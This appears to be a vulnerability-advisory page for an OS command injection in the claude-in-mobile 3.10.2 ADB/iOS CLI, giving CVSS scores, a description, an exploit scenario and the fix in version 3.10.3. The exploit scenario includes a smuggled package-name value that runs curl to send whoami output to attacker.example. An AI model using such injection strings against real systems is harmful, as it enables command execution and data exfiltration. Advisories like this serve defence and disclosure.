EUVD-2026-67004
GHSA-27q6-gf3x-pvj2
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Local attack vector with low privileges required matches ADB CLI tool needing controlled input; no scope change and limited C/I/A impact consistent with local command injection bounded to the host environment.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
5DescriptionCVE.org
A security flaw has been discovered in AlexGladkov claude-in-mobile 3.10.2. This affects the function execSync of the file src/adb/client.ts. Performing a manipulation results in os command injection. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. Upgrading to version 3.10.3 is able to mitigate this issue. The patch is named a86d9e55694c98a122943eeff859461d0b9aa6d6. It is suggested to upgrade the affected component.
AnalysisAI
OS command injection in AlexGladkov claude-in-mobile 3.10.2 allows a local low-privileged attacker to execute arbitrary shell commands by supplying metacharacter-laced parameters to the tool's ADB and iOS simulator CLI subsystem. The Rust CLI modules (android.rs, ios.rs) interpolated caller-supplied strings - package names, permission identifiers, XML filenames, preference keys, SQLite database paths, and relative file paths - directly into device-side sh -c invocations without sanitization. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires local system access with at least low-privilege user rights (AV:L/PR:L per CVSS 4.0 vector) - remote unauthenticated exploitation is not possible. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 1.9 (AV:L/AC:L/AT:N/PR:L/UI:N with VC:L/VI:L/VA:L/SC:N/SI:N/SA:N) accurately reflects a tightly bounded threat: exploitation requires local system presence and at least low-privilege user rights, and impact is confined to the vulnerable system with no downstream scope change. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A local attacker with low-privilege access to a developer workstation where claude-in-mobile is installed crafts an argument containing shell metacharacters - for example, a package name like com.example; curl http://attacker.example/exfil?data=$(whoami) - and passes it to a CLI subcommand such as sandbox_prefs_read. Because version 3.10.2 interpolates that string directly into a device-side sh -c command without sanitization, the injected payload executes on the host or connected Android device. … |
| Remediation | Upgrade to claude-in-mobile v3.10.3 immediately, available at https://github.com/AlexGladkov/claude-in-mobile/releases/tag/v3.10.3. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today